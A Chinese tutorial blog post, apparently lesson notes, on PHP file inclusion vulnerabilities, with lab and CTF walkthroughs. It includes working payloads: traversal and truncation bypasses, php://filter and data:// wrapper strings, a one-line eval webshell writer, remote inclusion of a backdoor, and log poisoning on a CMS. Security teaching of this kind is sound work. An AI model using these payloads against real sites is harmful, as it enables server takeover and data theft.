文件操作之文件包含全解(31)

2023-10-28

文件包含的作用就是将这个文件包含进去之后,会调用指定文件的代码。先将文件包含才能执行里面的一些相关代码,比如所想进行文件的链接,数据库的查询,就可以先包含一个数据库的配置文件, 再去链接的话就享有配置文件的一些配置信息,就不需要在进行相关的操作。

它可以把一些功能性代码写到一个文件里面,然后用另外一个文件去包含这个文件,这样子就不再重复书写那个包含文件里面的代码。

举四个脚本语句,asp,php,jsp,aspx等

<!==#include file=”1.asp”-->    就相当于包含了1.asp

<!==#include file=”top.aspx”-->   这个aspx运行,包含了一个top.aspx文件

<c:import url=”http://thief.one/1.jsp”>    包含一个远程地址文件jsp

<% include file=”head.jsp”%>  第二种写法,包含一个本地地址文件 jsp

<jsp:include page=”head.jsp”/>  第三种jsp写法

<?php include(‘test.php’)?>    php的写法

包含文件的常见写法

搭建一个靶场演示

声明一个变量filenam=get接收到filename值。然后include包含变量filename,

在网站当前目录是有一个1.txt文件的

 

 现在通过地址去访问一下include.php这个文件,

 然而phpinfo并没有在代码中体现,而是写在1.txt里面的,然而直接访问1.txt

 就只会显示里面的内容,并不会当作代码去执行。而在包含文件里面不管你是asp还是txt,都会把里面的内容当作php代码去执行。网站是php就以php代码去执行,asp就以asp代码去执行。

条件就是一个可控变量,一个漏洞函数,(include包含函数)

#检测

第一种是白盒,有代码之后我们去代码里面分析(代码审计)

第二种是黑盒,没有漏洞,就利用工具去扫描,去看公开的漏洞有没有,利用这个功能点和参数值去判定,就是看后面的参数值的值街上的是不是一个文件或者类似文件名字的命名,来判定给的参数值是不是一个文件,功能点就是去思考这个网站的功能是干嘛用的通过这个功能去思考会涉及到那些函数,有没有文件包含。

这个是检测的一个大概思路。

#类型

类型分为两种一种是本地包含,就是包含本地的文件。一种是远程包含,就是能包含互联网所能访问的文件,都能包含。

远程包含危害更大,因为可以自己去写一个文件,去做一个网站,让包含漏洞的文件指向它,然而这个东西是可以自定义,所以就可以写后门代码之类的东西。

包含都会涉及到应该叫无限制一个叫有限制,无限制就是这个包含漏洞没有限制就直接用,有限制就可能有一些一些干扰,需要我们用特定的方法去绕过。

#利用

我们在利用漏洞的时候都有各种各样的要求,我们能不能进行读取里面的文件或者执行相关的命令,这时我们可以进行一些伪造协议,这些伪造协议也可以进行上面有限制的绕过,利用伪造协议去绕过一些常见的waf软件也是可以的。利用就属于拓展应用,其他协议的结合。

#说一下本地包含,远程包含

本地包含要跨目录,比如想去包含d盘下面的一个文件

 就要往上跨两级,../是上一级的意思,所以我们要写两个,最终网站就是

127.0.0.1/xx.php?filename=../../qingshu.txt

成功包含到了w.txt文件,并且执行了里面的语句

 现在来看一下有限制的源码

 这个有限制是他指向的文件后缀为.html,再去指向刚刚指向过的1.txt文件

 这时候就发现网站不一样了,现在他包含的文件的就相当于包含的1.txt.html,由于当前目录没有这个文件,所以执行失败,因为他在文件后面强制加了一个.html,这种就是常规额的验证方式,可以用以下两种方式去绕过,

%00截断,不过要是php环境,而且php版本<5.3.4,小于5.3.4版本呢

这种不太推荐但是很方便,只需要在后面加上个%00,刚刚作者是版本大于5.3.4访问还是刚刚效果切换到了小于5.3.4的版本就正常访问了。

 第二种方法,长度截断

条件:Windows系统的话点号需要长度大于256位,linux系统的话点号长度需要大于4096位,大于这个长度就直接截断了,垃圾数据填充的方法思路差不多。

操作系统是目标服务器操作系统

就这样填充垃圾数据。

#远程包含

其实在任何脚本里面都有这么一个简单的设置,来确定这个漏洞会不会成为远程包含。

第一个是代码里面有限制只能包含本地文件就不会远程包含,如果说代码里面没有,并且开发平台上面设置也没有设置禁止包含远程文件,就可能产生远程包含漏洞。

在php里面就有一个开关,allow_url_include

这个是可以通过查看phpinfo查到的和开关状态

 如果这里是开启状态的话就允许远程地址的请求,就支持远程包含文件,这里把源码恢复到没有拦截的时候,然后这里老师自己博客里面有一个有远程代码的文件,

 远程包含一下老师的文件的时候,输出来了,还显示出来了phpinfo的效果。

 而包含的地址是一个远程地址,把这个远程文件去访问了,并且调用执行了。

如果这个远程文件是一个后门代码,现在把那个文件写为一个远程代码,

 然后再去访问一下网站,现在代码已经不显示了,但代码已经执行了

 我们现在就可以用菜刀去连接这个后门

直接连接上

 然后现在把源代码换回来那个有过滤的,然后在去访问网址就不行了,这个过滤也很简单

末尾加?  加%23  加%20   都可以执行

 #各种协议流玩法

比赛题目考到的话基本上都会碰到这个伪造协议

 我们伪造的时候要先知道这个脚本代码支不支持这个协议,curl不是

协议是分支持不支持的对好的就是支持的协议,和版本限制,在那个脚本代码下可以伪造那个协议。

这个是php里面的写法,测试的版本,部分功能的改观情况,off/on的就是开不开都可以,

选用那种伪造协议要先确定当前网站的脚本代码是否支持,可能还有些支持下面还需要条件

php伪协议链接:https://www.cnblogs.com/endust/p/11804767.html  (很全)

讲几个比较重点的

http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt 

通过这个代码就可以读取文件里面的内容(链接里面参考)

 base64加密是为了避免有一些文件内容乱码,拿去解密就好了。

换一个执行代码效果,就去链接里面找就好了,那里也有说要换成post提交方式, 

 

 

 写入一句话后门代码

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

这个语句就相当与写一个shell.php文件,然后将后门的一句写入到那个文件里面去,写入之后就可以直接连接这个shell.php代码试试,

file协议在上面那个表里面是都支持的,

还要data协议,图片上没有。好像php特,

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

 里面的内容执行代码可以由你自定义,比如这里我想输出个地东西

 这就是我们说的具体协议的玩法,如果是别的脚本代码直接去网上搜脚本代码的为协议就好。

ctf-南邮大,i春秋百度坏真题-白盒

打开题目网址

这种题目都是光秃秃的,源码也就只有几串,我们该如何去判断它是什么漏洞w

我们观察页面显示啥都没有,就去看看网址然后就看到后面跟着?file=show.php,file是文件的意思,后面就等于了一个文件,然后我们去掉?file=show.php,之后在访问网站,又是另一个界面

 所以我们直接访问show.php文件试试

 也是显示这个结果,这就很明显访问这个文件执行的是结果,而刚刚那个文件加了一个参数值包含了一个文件,然后在执行show.php,所以这是一个文件包含漏洞,然后我们他是读取还是执行,我们该如何去利用他,先确定一下他的操作系统

 区分大小写是linux,那就可以确定使用的命令,这个网站是php网站,然后输入php为协议代码,之后post方式提交漏洞语句

 这个可能是被检测到了,或者监控了,因为他是个非常敏感的命令执行函数,我们要先测试一下,

 还是不行,看下面这个表格

 刚刚使用的是这个语句,可能是因为他没有打开需要的配置,我们换一个语句就好了,打开php的为协议链接,复制一个读取文件的代码下来,拿到网站上来直接用。

 这时一个base64编码,我们拿去解码一下,

 解码测试出来,然后放到一个文档上看看

春秋-CTF训练 演示

打开网站靶场

 

 这个代码的意思如果是request方式接受所有格式提交,有参数值变量path就包含path,如果不是就包含phpinfo.php,这时候我们就使者给path赋值然后就是php为协议命令执行代码,执行ls(语句用大小写测试过什么操作系统),显示出来了

然后很明显我们要读取哪一个文件,直接去读取,网页显示什么都没有就差看一下源代码

 

 结果出来了

某cms程序文件包含利用-黑盒

文件包含分为两种,一种是本地包含,只能包含本地的问,这个需要上传一个文件上去区包含,如果没有,我又不知道他的本地文件叫什么,没办法去包含,如果没有第一种思路就是看能不能上传一个文件上去,其次是看有没有别的方法解决

打开靶场

 我们知道他是eku就直接去网上搜eku漏洞

 然后打开一个网站

 就是在执行这个他的错误日志里面写入一个一句话后么代码,然后去包含错误文件日志地区,

 这就是提示了一个错误,但是在他的错误日志里面

 就已经上传了这个文件,

 然后去访问就执行了这个文件,密码是orange,

 不用菜刀链接,这样测试一下没问题就没事。

这里可能会想为什么不能直接用菜刀去链接那个上传的文件,因为上传的文件类型不是php文件,里面有php代码也解析不了,执行不了。

修复

waf安全产品,固定后缀文件,如果不需要传参数值,就直接写死最好,不给变量,

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

文件操作之文件包含全解(31) 的相关文章

随机推荐

  • 部署ELFK

    目录 ELFK ES logstash filebeat kibana 环境准备 所有节点 Elasticsearch 集群部署 在Node1 Node2节点上操作 修改elasticsearch主配置文件 es 性能调优参数 启动elas
  • Marriage is Stable

    http acm hdu edu cn showproblem php pid 1522 Problem Description Albert Brad Chuck are happy bachelors who are in love w
  • JVM--三大子系统详解

    首先需要了解java的命令 javac 将java文件编译为 class文件 里面是一些二进制文件 javap c 将 class文件变为反汇编 例如 javap c hello class gt demo txt 可以将class文件转化
  • GPIO介绍

    目录 一 GPIO是什么 二 STM32引脚分类 三 GPIO内部结构 四 GPIO的工作模式 4 1 输入模式 模拟 上拉 下拉 浮空 4 2 输出模式 推挽 开漏 4 3 复用功能 推挽 开漏 4 4 模拟输入输出 上下拉无影响 一 G
  • c语言将csv文件存储到数组,读取CSV文件并将值存储到数组中

    青春有我 我最喜欢的CSV解析器是一个内置在 NET库中的解析器 这是Microsoft VisualBasic命名空间中隐藏的宝藏 下面是一个示例代码 using Microsoft VisualBasic FileIO var path
  • ConcurrentHashMap 的实现原理

    目录 常见问题 1 concurrentHashMap特点 2 concurrentHashMap如何保证效率高 又安全的 1 构造函数 2 put方法 2 1 initTable 2 2 addCount方法 3 get方法 常见问题 1
  • 【SpinalHDL】Windows10系统搭建SpinalHDL 开发环境

    本文主要记载如何从零开始在win平台搭建SpinalHDL开发环境并跑通第一个spinal project demo 1 环境准备 1 1 软件下载 首先列出需要安装的软件 并逐一对这些软件的功能和其必要性进行说明 需要安装的软件 IDEA
  • 继电器的过流过压保护(自恢复保险丝)

    简述 继电器广泛应用于消费电子产业和工业设备中 它具有控制系统 又称输入回路 和被控制系统 又称输出回路 它实际上是用较小的电流去控制较大电流的一种 自动开关 故在电路中起着自动调节 安全保护 转换电路等作用 继电器可能因为过流或者过压而损
  • arduino/mixly TFT显示SD卡的图片

    一 器材 SD卡模块 1 8寸TFT屏 ST7735 arduino uno开发板 SD卡 二 接线 TFT屏 arduino uno GND GND VCC 5V SCL D13 SDA D11 RES D8 DC D10 CS D9 B
  • Java锁机制

    Java锁主要是为了解决线程安全问题 当多个线程共享同一个变量时可能会出现同时修改变量的情况 这样会导致最终计算结果错误 未解决该问题 Java提供了各种锁来确保数据能够被正常修改和访问 最常用的比如synchronized 一 互斥同步
  • python计算机视觉学习第三章——图像到图像的映射

    目录 引言 一 单应性变换 1 1 直接线性变换算法 1 2 仿射变换 二 图像扭曲 2 1 图像中的图像 2 2 分段仿射扭曲 2 2 图像配准 三 创建全景图 3 1 RANSAC 随机一致性采样 3 2 拼接图像 四 总结 引言 本章
  • [4G&5G专题-119]:5G培训应用篇-4-5G典型行业应用的解决方案(车联网、智慧医疗、智能教育、智能电网)

    目录 前言 前言 1 总目录 前言 2 本章 第1章 5G行业应用介绍 第2章 车联网解决方案 2 1 车联网概述 2 2 车联网需求分析 2 3 车联网解决方案 第3章 智慧医疗解决方案 第4章 智能教育解决方案 第5章 智能电网解决方案
  • Mybatis配置多数据源

    前言 Spring Boot项目使用Mybatis 既要从上游系统同步数据 又要操作本系统的数据库 所以需要引入双数据源 配置Mybatis 步骤 一 配置双数据源 连接数据库 1 禁用Spring Boot数据源的自动装配 在启动类 Sp
  • 请求调页存储管理方式的模拟 含详细代码和实验结果截图

    请求调页存储管理方式的模拟 实验目的 通过对页面 页表 地址转换和页面置换过程的模拟 加深对请求调页系统的原理和实现过程的理解 实验内容 假设每个页面中可存放10条指令 分配给一作业的内存块数为4 用C语言模拟一作业的执行过程 该作业共有3
  • 为什么Hadoop集群中机器台数多反而执行速度慢?

    这里我对这个现象给出解释 由于水平有限 发现错误 请及时留言 或站内和我联系 这里假设集群中有slave1 slave2 slave3三个节点 其中slave3工作效率低 一共有6个任务 需要去做 slave1和slave2执行一个任务是1
  • 104个精选计算机毕业设计项目,助你制作出色的程序,一定要试试

    对于即将面临毕业设计的计算机专业的同学们 如何选题和完成毕设项目成为一个重要而又棘手的问题 今天给大四的同学分享毕业设计项目 希望对正在为毕业设计发愁的小伙伴有帮助 一 成品列表 以下所有springboot框架项目的源码博主已经打包好上传
  • rpmbuild制作包的详细过程

    https www cnblogs com schangech p 5641108 html https www ibm com developerworks cn linux l rpm 一 目录结构生成 1 工具安装rpmdevtool
  • STM32之中断和事件

    中断和事件 什么是中断 当CPU正在执行程序时 由于发生了某种事件 要求CPU暂时中断当前的程序执行 转而去处理这个随机事件 处理完以后 再回到原来被中断的地方 继续原来的程序执行 这样的过程称为中断 什么是事件 当检测到某一个动作的触发
  • 内网 centos7 离线安装rpm包的三种方法

    一 使用 downloadonly参数 此种方法的优点是下载的rpm包可以下载至同一目录中 一 互联网电脑下载rpm包 1 查看互联网电脑是否支持 只下载不安装 功能 执行yum帮助命令 yum help 如果列表中出现 downloado
  • 文件操作之文件包含全解(31)

    文件包含的作用就是将这个文件包含进去之后 会调用指定文件的代码 先将文件包含才能执行里面的一些相关代码 比如所想进行文件的链接 数据库的查询 就可以先包含一个数据库的配置文件 再去链接的话就享有配置文件的一些配置信息 就不需要在进行相关的操